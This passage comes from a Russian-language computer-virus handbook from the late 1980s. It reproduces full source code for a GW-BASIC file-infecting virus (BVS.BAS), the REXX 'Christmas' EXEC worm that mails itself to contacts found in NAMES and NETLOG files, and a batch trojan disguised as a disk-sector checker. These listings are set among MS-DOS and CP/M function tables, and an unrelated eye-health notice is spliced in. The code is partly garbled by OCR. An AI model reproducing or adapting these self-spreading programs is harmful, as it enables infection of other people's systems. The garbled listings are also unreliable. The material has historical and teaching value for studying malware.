Жанр: Учеба
Большой справочник по компьютерным вирусам
... место не записано
пока никакого имени, вирус вызывал бы сам себя постоянно.
Особые условия:
Строка 9999 не может завершаться CR/LF, поскольку в этом
случае ее нельзя было бы дополнить командой APPEND. (Если
это необходимо, удалите CR/LF с помощью DEBUG).
- 222 -
При изменении кодов программы нельзя не учитывать, что
должна быть изменена переменная VIRLENGTH. Программа, естественно,
должна записываться в память в виде ASCII -файла.
Эта программа была разработана с помощью интерпретатора
Microsoft-GW-BASIC версии 2.02 в среде MS-DOS 3.1. Для других
интерпретаторов, возможно, потребуется изменить синтаксис
операторов OPEN.
10 REM ************************************************
20 REM *** Демонстрационный вирус BVS.BAS ****
30 REM *** Автора Р.Бургер 1987 ****
40 REM ************************************************
50 REM
60 REM *** Обработка ошибок
70 ON ERROR GOTO 670
80 REM *** Параметр LENGTHVIR должен быть установлен
90 REM *** на длину исходных кодов
100 REM ***
110 LENGTHVIR=2691
120 VIRROOTS="BVS.bas"
130 REM *** Содержимое каталога
140 REM *** добавляется в файл INH
150 SHELL "DIR =.BAS INH"
160 REM *** Открыть файл INH и считать имена
170 OPEN "R",1,"INH",32000
180 GET #1,1
190 LINE INPUT #1, OLDN AMES
200 LINE INPUT #1, OLDN AMES
210 LINE INPUT #1, OLDN AMES
220 LINE INPUT #1, OLDN AMES
230 ON ERROR GOTO 670
240 CLOSE #2
250 F=1:LINE INPUT #1,OLDN AMES
260 REM *** "%" является байтом идентификатора
270 REM *** "%" в имени означает:
280 REM *** существуют уже инфицированные копии
290 IF MIDS(OLDNAMES;1,1)="%" THEN GOTO 230
300 OLDNAMES=MIDS(OLDNAMES,1,13)
310 EXTENSIONS=MIDS(OLDNAMES,9,13)
320 MIDS(EXTENSIONS,1,1)="."
330 REM *** Имена должны быть составлены в имена файлов
340 F=F+1
350 IF MIDS(OLDNAMES,F,1)=" " OR MIDS(OLDNAMES,F,1)="." OR F=13
THEN GOTO 370
360 GOTO 340
370 OLDNAMES=MIDS(OLDNAMES,1,F+1)+EXTENSIONS
380 ON ERROR GOTO 440
390 TESTS=""
400 REM *** Открыть найденный файл
410 OPEN "R",2,OLDNAMES,LENGTHVIR
415 IF LOF(2) LENGTHVIR THEN GOTO 440
420 GET #2,2
430 LINE INPUT=2,TESTS
440 CLOSE#2
450 REM *** Проверить, инфицирован ли уже файл
460 REM *** "%" в конце файла означает:
470 REM *** файл уже инфицирован
480 IF MIDS(TESTS,1,1)="%" THEN GOTO 230
490 CLOSE#1
500 NEWNAMES=OLDNAMES
510 MIDS(NEWNAMES,1,1)="%"
520 REM *** сохранить "здоровую" программу
530 CS="copy "+OLDNAMES+NEWNAMES
540 SHELL CS
550 REM *** скопировать вирус в "здоровую" программу
560 CS="copy "+VIRROOTS+OLDNAMES
570 SHELL CS
580 REM *** связать идентификатор вируса и новое имя
590 OPEN OLDNAMES FOR APPEND AS =1 LEN=13
600 WRITE#1,NEWNAMES
610 CLOSE#1
620 REM *** Выдать сообщение
630 PRINT "инфекция в:" ;OLDNAMES;" опасность!"
640 REM *** запуск исходной программы
650 GOTO 9999
660 REM *** сообщение вируса об ошибке
670 PRINT"VIRUS internal ERROR":SYSTEM
680 REM *** После этого RUN для инфицированной
690 REM *** программы стоит
700 REM *** прежнее имя программы. Благодаря этому
710 REM *** можно запустить исходную программу,
720 REM *** чем достигается эффект неперезаписывающего
730 REM *** вируса. После "RUN" при записи
740 REM *** в память не должно стоять CR/LF,
750 REM *** поскольку в противном случае имя
760 REM *** с помощью APPEND добавить нельзя. CR/LF
770 REM *** можно удалить с помощью DEBUG.
9999 RUN
Характеристики программы
Этот вирус требует для распространения файлов с расширением
BAS. Причем не играет роли, записана ли эта программа в форме
ASCII или в двоичном виде. Здесь вновь создаются копии с
"%" в качестве первого символа имени файла. Эти копии вызываются
после обработки вируса.
Каталог перед вызовом программы-вируса:
Katalog von A:\
CALL BAS 612 4-12-85 5:53р
COMMAND BAS 659 4-04-85 4:06р
DEC BAS 236 7-11-85 6:44р
DEFFN BAS 336 3-07-85 3:04р
DIGIT BAS 217 7-11-85 6:46р
DRAW BAS 681 4-19-85 4:03р
KONVERT BAS 3584 1-01-80 12:03а
MAIN BAS 180 7-11-85 6:45р
PLAY BAS 192 3-21-85 1:08р
REDIM BAS 439 4-13-85 3:15р
BVS BAS 2691 7-14-87 9:46а
11 DATEIEN 340992 BYTES frei
Каталог после первого вызова программы:
Katalog von A:\
CALL BAS 2704 7-14-87 9:53а
COMMAND BAS 659 4-04-85 4:06р
DEC BAS 256 7-11-85 6:46р
DEFFN BAS 336 3-07-85 3:04р
DIGIT BAS 217 7-11-85 6:46р DRAW BAS 681 4-19-85
4:03р KONVERT BAS 3584 1-01-80 12:03а MAIN BAS 160
7-11-85 6:45р PLAY BAS 192 3-21-85 1:08р REDIM BAS
439 4-13-85 3:15р BVS BAS 2691 7-14-87 9:46а INH
605 7-14-87 9:53а %ALL BAS 612 4-12-85 5:53р
13 DATEIEN 336896 BYRES FREI
Если теперь вызвать программу CALL.BAS, вирус продолжит свое
распространение, причем без выдачи сообщения об ошибке. Единственно,
что может указать на выполнение каких-то манипуляций, увеличившееся время
исполнения и загрузки программ. В эти программы без больших затрат могут
включаться собственные, написанные на Бейсике задания. Можно
использовать и задания, написанные на других языках, но тогда
запускать их нужно с помощью SHELL.
При полном распространении вируса содержимое каталога
будет выглядеть следующим образом:
Каtalog von a:
CALL BAS 2704 7-14-87 9:53а
COMMAND BAS 2707 7-14-87 9:55а
DEC BAS 2703 7-14-87 9:55а
DEFFN BAS 2705 7-14-87 9:56а
DIGIT BAS 2705 7-14-87 10:05а
DRAW BAS 2704 7-14-87 10:05а
KONVERT BAS 2707 7-14-87 10:06а
MAIN BAS 2704 7-14-87 10:06а
PLAY BAS 2704 7-14-87 10:07а
REDIM BAS 2705 7-14-87 10:07а
BVS BAS 2703 7-14-87 10:07а
INH 974 7-14-87 10:07а
%ALL BAS 612 4-12-85 5:53p
%OMMAND BAS 659 4-04-85 4:06р
%EC BAS 236 7-11-85 6:46р
%EFFN BAS 336 3-07-85 3:04р
%IGIT BAS 217 7-11-85 6:46р
%RAW BAS 681 4-19-85 4:03р
%ONVERT BAS 3584 1-01-80 12:03а
%AIN BAS 180 7-11-85 6:45р
%LAY BAS 192 3-21-85 1:08р
%EDIN BAS 439 4-13-85 3:15р
%VS BAS 2691 7-14-87 9:46а
23 DATEIEN 306176 Byte frei
11. Различные операционные системы
В этой главе (не претендуя на полноту) рассмотрим несколько
наиболее употребительных операционных систем с точки
зрения их подверженности воздействию вирусов. Распечатка
системных функций может облегчить понимание принципа действия
программы-вируса, описанной в разделе 10 и далее.
Поскольку стандартные операционные системы персональных
компьютеров (CP/M и MS-DOS) в равной степени подвержены вирусам,
и их системные функции весьма похожи. Так все операционные
системы в качестве основных функций содержат программы
или стандартные подпрограммы, необходимые для работы с
наборами данных или программами компьютера. Таковы команды
DIR, TYPE, COPY, PIP, MODE, SETIO и др. Сюда же относятся
отладчик и программа обработки стека. Причем для принципиального
рассмотрения не имеет значения, о каких функциях
идет речь - о резидентных или нерезидентных.
Поскольку к минимальным требованиям, предъявляемым
программой-вирусом, относятся (см. раздел 1.5) право чтения
и записи и доступ к содержимому каталога массовой памяти,
отсюда следует, что каждая совершенная операционная система
в принципе подвержена заражению вирусами. Однако некоторые
операционные системы имеют известные программные средства
защиты от такого заражения.
11.1 MS-DOS
функции операционной системы MS-DOS вызываются на уровне
ассемблера через так называемые программные прерывания.
Такие прерывания оказывают на процессор такое же воздействие,
как и непосредственное обращение к памяти.
Первые 32 прерывания используются почти исключительно
BIOS или аппаратным обеспечением:
00 Деление на нуль
01 Пошаговый
02 NMI
03 Точка прерывания
04 Переполнение
05 Вывод на экран
06 Не используется
07 Не используется
08 Таймер
09 Клавиатура
ОА Не используется
ОВ AUX port COM2
OC AUX port COM1
CD Контроллер жесткого диска
OE Контроллер гибкого диска
OF Принтер
10 Экран
11 Аппаратный контроль
12 Определить обьем памяти
13 Чтение/запись диска (сектора)
14 Логическое имя канала чтения/записи
15 Кассетный накопитель
16 Клавиатура
17 Принтер
18 Базовое ПЗУ
19 Начальная загрузка
IA Время
IB Прерывание с клавиатуры
IC Таймер
ID Инициализация экрана
IE Адрес параметров диска
IF Адрес набора кодов ASCII
С прерывания с номером 20НЕХ начинается собственно системные
прерывания. Они доступны лишь после загрузки MS-DOS:
20 Прервать программу
21 Вызов DOS
22 Адрес завершения программы
23 Адрес Ctrl-С
24 Адрес фатальной ошибки диска
25 Чтение диска на физическом уровне
26 Запись на диск на физическом уровне
27 Прервать/остаться резидентом
28 Внутреннее прерывание DOS
-
3F
40 Зарезервировано для расширений
-
3F
60 Прерывания на уровне пользователя
-
TF
80 Прерывания на уровне Бейсика
-
86 Интерпретатор прерываний Бейсика
-
FO
F1 Не используется
-
FF
Среди перечисленных выше системных прерываний одно,
имеющее номер 21НЕХ, имеет особое значение. При вызове этой
функции в регистр АН заносится одно из следующих значений,
прежде чем будет разрешено прерывание, а значит, и прежде
чем будет выполнена соответствующая функция:
00 Прервать программу
01 Чтение с клавиатуры и эхо-контроль
02 Символ дисплея
03 Вторичный ввод
04 Вторичный вывод
05 Символ печати
06 Непосредственный ввод/вывод на консоль
07 Непосредственный ввод с консоли
08 Чтение с клавиатуры
09 Строка дисплея
ОА Буферизованный ввод с клавиатуры
ОВ Состояние при контроле клавиатуры
ОС Очистка буфера/чтение с клавиатуры
OD Очистка буфера/сброс диска
ОЕ Установить связь с диском
OF Открыть файл
10 Закрыть файл
11 Поиск по первому элементу
12 Поиск по следующему элементу
13 Удалить файл
14 Последовательное чтение
15 Последовательная запись
16 Создать файл
17 Переименовать файл
18 Внутреннее прерывание
19 Считать текущий диск
IA Адрес передачи на диск
IB Внутреннее прерывание MS-DOS
IC Внутреннее прерывание MS-DOS
IE Внутреннее прерывание MS-DOS
IF Внутреннее прерывание MS-DOS
20 Внутреннее прерывание MS-DOS
21 Чтение при прямом доступе
22 Запись при прямом доступе
23 Вычислить размер файла
24 Установить запись прямого доступа
25 Установить вектор прерывания
26 Создать новый сегмент программы
27 Считать блок прямого доступа
28 Запись блока прямого доступа
29 Сделать синтаксический анализ имени файла
2А Считать дату
Посмотри в окно!
Чтобы сохранить великий дар природы — зрение,
врачи рекомендуют читать непрерывно не более 45–50 минут,
а потом делать перерыв для ослабления мышц глаза.
В перерывах между чтением полезны
гимнастические упражнения: переключение зрения с ближней точки на более дальнюю.
2С Считать время
2D Установить время
2Е Установка/сброс контрольных флажков
2F Вычислить адрес области передачи диска
30 Считать номер версии DOS
31 Прервать программу/оставить резидентом
32 Внутреннее прерывание MS-DOS
33 Контроль на CTRL-С
34 Внутреннее прерывание MS-DOS
35 Определить вектор прерывания
36 Определить свободное пространство диска
37 Внутреннее прерывание MS-DOS
38 Определить зависящую от страны информацию
39 Создать подкаталог
3А Исключить каталог
3В Каталог текущих изменений
3С Создать/обработать файл
3D Открыть/обработать файл
3E Закрыть/обработать файл
3F Чтение из файла/с устройства
40 Запись в файл/ на устройство
41 Удалить файл
42 Переслать указатель чтения/записи
43 Атрибуты изменений
44 Контроль ввода/вывода для устройств
45 Обработать файл копий
46 Переназначение ввода/вывода
47 Определить текущий каталог
48 Распределить/заблокировать память
49 Незаблокированная память
4A Модифицировать распределенную память
4B Загрузить/ выполнить программу
4C Прерывать процесс (ошибка)
4D Определить код возраста подчиненных
4E Найти совпадающий файл
4F Найти следующий файл
50 Внутреннее прерывание ms-dos
51 Внутреннее прерывание ms-dos
52 Внутреннее прерывание ms-dos
53 Внутреннее прерывание ms-dos
54 Флажок проверки возврата
56 Определить/установить файл времени и даты
Как можно видеть, имеются все необходимые для создания
программ-вирусов функции, многие из которых имеют различную
форму.
11.2 Вирусы в среде СР/М
------------------------
В отличном от ms-dos, СР/М (процессор z80) не использует
программные прерывания, а использует команду call по адресу
0005 16, передавая номер соответствующей функции в регистр С.
Многие имеющиеся в ms-dos функции имеются и в более старой
операционной системе СР/М:
0 Системный сброс
1 Ввод с консоли
2 Вывод нв консоль
3 Вторичный ввод
4 Вторичный вывод
5 Вывод списка
6 Непосредственный ввод/вывод на консоль
7 Состояние вторичного ввода
8 Состояние вторичного вывода
9 Печать строки
10 Чтение буфера консоли
11 Определить состояние консоли
12 Возврат номера версии
13 Сброс дисковой системы
14 Выделить диск
15 открыть файл
16 Закрыть файл
17 Поиск по первому элементу
18 Поиск следующего элемента
19 Удалить файл
20 Последовательное чтение
21 Последовательная запись
22 Сформировать файл
23 Переименовать файл
24 Возврат вектора входа в систему
25 Возврат текущего диска
26 Установить адрес прямого доступа к памяти DMA
27 Определить адрес (размещения)
28 Запись на защищенный диск
29 Определить вектор
30 Установить атрибуты файла
31 Определить адрес (DBP)
32 Установить/определить код пользователя
33 Чтение прямого доступа
34 Запись прямого доступа
35 Определить размер файла
36 Установить запись прямого доступа
37 Сброс дисковода
40 Запись прямого доступа с росписью нулями
41 Проверка и запись записи
42 Блокировать запись
43 Разблокировать запись
44 Установить счетчик секторов мультидоступа
45 Установить режим обработки ошибок
46 Определить свободное пространство диска
47 Связать с программой
48 Очистить буферы
49 Определить/установить блок системного контроля
50 Непосредственный вызов
59 Загрузить оверлейный файл
60 Вызов резидентной системы
98 Свободные блоки
99 Укоротить файл
100 Установить метку каталога
101 Возврат данных метки каталога
102 Считать штампы даты файла и режима пароля
103 Запись файла xfcb
104 Установить дату и время
105 Определить дату и время
106 Установить пароль по умолчанию
107 Возвратить порядковый номер
108 Определить/установить код возврата программы
109 Определить/установить режим консоли
110 Определить/установить ограничитель вывода
111 Печать блока
112 Вывод блока на экран
152 Синтаксический анализ имени файла
Существенное различие между ms-dos и СР/М состоит в том,
что СР/М, начиная с версии 3.0, обеспечивает возможность защиты
файлов или меток от чтения или перезаписи с помощью паролей.
Конечно, такая защита не слишком надежна, поскольку речь
идет лишь о защите программного обеспечения, но по крайне мере
создатели компъютерных вирусов сталкиваются здесь с большими
проблемами, чем при работе с ms-dos, так как в системе СР/М
имеется значительно меньше высокоразвитых утилит.
11.3 Сети
----
В сетях персональных ЭВМ имеются многочисленные различия,
касающиеся сохранности данных. Так, например, для нескольких
дешевых сетей жесткие диски станции можно запрашивать точно
так же, как если бы речь шла о винчестере соответствующего
компъютера. Это означает, что вирусы могут распространяться по
всей сети, как если бы это была отдельная ПЭВМ. Другими словами,
"выпущенный" на любой станции сети вирус в кратчайшее время
может достичь всех других станций и парализовать всю сеть.
Приведенная ниже графическая схема поясняет процесс распространения
вируса по сети. Представленная сеть состоит их специализированной
станции и четырех подключенных компъютеров.
Специализированная
станция
Узлы сети: 1 2 3 4
На ПЭВМ, являющейся узлом 1 сети, запускается программа-вирус.
Этот вирус копируется на дисковод с наивысшим приоритетом (со
старшим номером дисковода). Для сети таким дисководом является
дисковод специализированной станции.
Специализированная
станция
Узлы сети: v1 v2 v3 v4
Затем исходя из спецпроцессора, вирус может распространиться
по всем подключенным станциям.
Специализированная
станция
Узлы сети: V1 V2 V3 V4
Правда, не все сети построены так примитивно. Профессиональные
системы обеспечивают использование различных привилегий пользователей
подобно многопользовательстким ЭВМ. Так определенные
области данных и определенные программы могут быть защищены от
доспута пользователей с более низким приоритетом. Право на
доступ к таким областям имеет так называемый "старший пользователь",
т.е. пользователь с наивысшим приоритетом. Не имея
статуса "старшего пользователя",вряд ли возможно выйти за
пределы отдельной области так, чтобы это осталось незамеченным.
Но если пользователь получил статус "старшего", он совершенно
легально движется в системе и никто этого не замечает. Поскольку
получение статуса "старшего пользователя" обеспечивается
лишь программными средствами, естественно, это можно предусмотреть
и в программе-вирусе. правда, при этом нужно точно
знать соответствующую сеть.
Так называемый "рождественский вирус", распечатка которого
приводится здесь, предназначен для использования ЭВМ vm/cms
и потому может распространяться чрезвычайно быстро.
В принципе, здесь речь идет не о настоящей программе-вирусе,
а скорее о неком виде передаваемого по цепочке письма.
Программа считывает из файлов names и netlog адреса партнеров
по коммуникации и в соответствии с форматом передачи данных
пересылает себя этому адресу. Там происходит то же самое, т.е.
программа вновь возвращается к своему отправителю. Таким образом,
в файлах получателей, как правило, содержится и адрес
отправителя.
Тот, кто получает такую программу, вначале с помощью текстового
редактора смотрит, что же он получил.
Записанный в начале программы текст не нуждается по пояснениях:
/**********************/
/* LET THIS EXEC */
/* */
/* RUN */
/* AND */
/* */
/* ENJOY */
/* */
/* YOURSELFI */
/**********************/
Просмотр этого текста не отнимет у читателя слишком много
времени.
'VMFCLEAR'
SAY' * '
SAY' * '
SAY' *** '
SAY' ***** '
SAY' ******* '
SAY' ********* '
SAY' ************* A'
SAY' ******* '
SAY' *********** VERY'
SAY' *************** '
SAY' ******************* HAPPY'
SAY' *********** '
SAY' *************** CHRISTMAS'
SAY' ******************* '
SAY' ********************** AND MY'
SAY' ************* '
SAY' ****************** BERST WISHES'
SAY' ********************** '
SAY' ************************** FOR THE NEXT
SAY' ****** '
SAY' ****** YEAR'
SAY' ****** '
А кто теперь удержится, чтобы не запустить программу, да-
бы поддержать шутку?
/* browsing this file is no fun at all
just type CHRISTMAS from cms */
dropbuf
makebuf
"q t (stack"
Здесь определяется дата:
pull d1 d2 d3 d4 d5 d6 dat
pull zeile
jeah = substr(dat, 7, 2)
tack = substr (dat, 4,2)
mohn = substr (dat, 1, 2)
if jeah "= 88 then do
if mehn " 2 ] mohn = 12 then do
DROPBUF
MAKERUF
"IDENTIFY (FIFO"
PULL WER VON WO IST REST
DROPBUF
MEKEBUF
Определить имена партнеров по коммуникации:
"EXECIO * DISKR " WER " NAMES A (FIFO"
DO WHILE QUEUED() " 0
PULL NICK NAME ORT
NAM = INDEX (NAME, '.')+1
IF NAM " 0 THEN DO
NAME = SUBSTR (NAME, NAM)
END
NAM = INDEX (ORT, '.')+1
IF NAM" 0 THEN DO
ORT = SUBSTR (ORT, NAM)
END
IF LENGTH (NAME) O THEN DO
IF LENGTH (ORT) = 0 THEN DO
ORT = WO
END
IF name = "RELAY" THEN DO
Переслать самому себе:
"SF CHRISTMAS EXEC A" NAME" AT" ORT" (ack"
end
END
END
DROPBUF
MAKEBUF
ANZ = 1
Еще раз отыскать имена:
"EXECTO = DISKR " WER " NETLOG A (FIFO
DO WHILE QUEUED () " 0
PULL KIND FN FM ACT FROM ID AT NODE REST
IF ACT = 'SENT' THEN DO
IF ANZ = 1 THEN DO
OK.ANZ = ID
END
IF ANZ " 1 THEN DO
OK.ANZ = ID
NIXIS = O
DO 1 = 1 TO ANZ-1
IF OK.1 = ID THEN DO
NIXIS = 1
END
END
END
ANZ = ANZ + 1
IF NIXIS = 0 THEN DO
Еще раз переслать:
"SF CHRISTMAS EXEC A "ID" AT" NODE" (ack"
END
END
END
DROPBUF
END
end
end
12. _Пути распространения вирусов
Эта глава должна дать ответ на наиболее часто задаваемый
вопрос: "Каким образом вообще внедряются вирусы в ЭВМ?"
Но возможности проникновения вирусов в ПЭВМ настолько
многочисленны, что здесь можно показать лишь очень небольшую
часть их. Но вначале следует обратить внимание на то общее,
что есть в путях распространения вирусов. Некоторые пользователи
не совсем необоснованно бояться чужих дискет, хотя действительная
опасность от инфицированной дискеты исходит лишь
тогда, когда эта дискета запущена.
Просто чтение дискеты никак не может привести к распространению
вируса. Поэтому можно просматривать чужие дискеты, пользуясь
функциями операционной системы или различными утилитами,
совершенно безбоязненно. Также маловероятно, что (а это важно
при использовании "почтового ящика") вирус получит распространение
при дистанционной передаче данных, если при этом соблюдаются
определенные условия.
Ниже отдельные аспекты проблемы распространения вирусов
будут освещены несколько подробнее.
12.1 Вирусы в программе/носителе
--------------------------------
Пораженную вирусом программу-носитель следует рассматривать
как "классический" пример распространения вирусов. Говоря
более точно, программа-носитель есть не что иное как "троянский
конь", в котором в качестве "злого" сюрприза скрыт вирус.
Этот внедрившийся вирус никак не может быть обнаружен программой-носителем,
поскольку методы внедрения вируса в программу
чрезвычайно многочисленны. Только тот, кто хорошо разбирается
в системе и обслуживает многочисленные стандартные программы,
такие как отладчик, программу распечатки содержимого памяти и
пр., имеет шанс обнаружить программу/носитель. Это не удивительно,
если рассмотреть несколько различных возможностей
внедрения вируса.
Относительно легко обнаружить написанные на уровне команд
ЭВМ вирусы (таким вирусом является, например, описанный в разделе
10.4 вирус), поскольку оформлённую в виде командного файла
программу очень легко вывести на экран с помощью команды
ТУРЕ. Но и на этом уровне отличить программу от вируса удается
не сразу, если до этого не имел с ними дела. Разве кто заподозрит
в нескольких строках пакетного задания ERCHECK.BAT
программу-вирус?
Name: ERCHECK. BAT
echo=off
echo Diesses Programm prueft das aktuelle Laufwerk
echo (Platte/diskette) auf defekte Sektoren.
echo Dieser Test kann 1-2 Minuten in Anspruch nehmen.
echo Wahrend dieser Zeit kann und darf nicht in das
echo System eingriffen werden.
pause
ctty nut
patf c:\msdos
dir *.com/w"inh
edlin inh"1
debug inh"2
edlim name.bat"3
ccty con
if exist name.bat echo Keine Fehler gefunden. Test beendet.
if exist name.bat echo Wait a minute, then reboot!
cctty nut
name
(echo=off
echo Эта программа проверяет актуальный дисковод
echo (жесткий диск/дискету) на дефектные сектора.
echo Этот тест может занять 1-2 минуты.
echo В течение этого времени система может принимать,
echo а может не принимать запросы.
pause
ecty nul
path c:\msdos
dir *.com/w"inh
edlin inh"1
debug inh"2
edlin name.bat"3
ccty con
if exist name.bat echo Ошибок не найдено. Тест завершен.
if exist name.bat echo Подождите минуту, пока идет перезагрузка!
Значительно более сложно распознаются вирусы, написанные на
языках высокого уровня, причем здесь следует исходить из ви-
русов в форме исходных кодов. Скомпилированные программы-ви-
русы дают уже вирус в форме машинных кодов. Если программа
должна выглядеть "внушающей доверие", программист вместе с
ней по
...Закладка в соц.сетях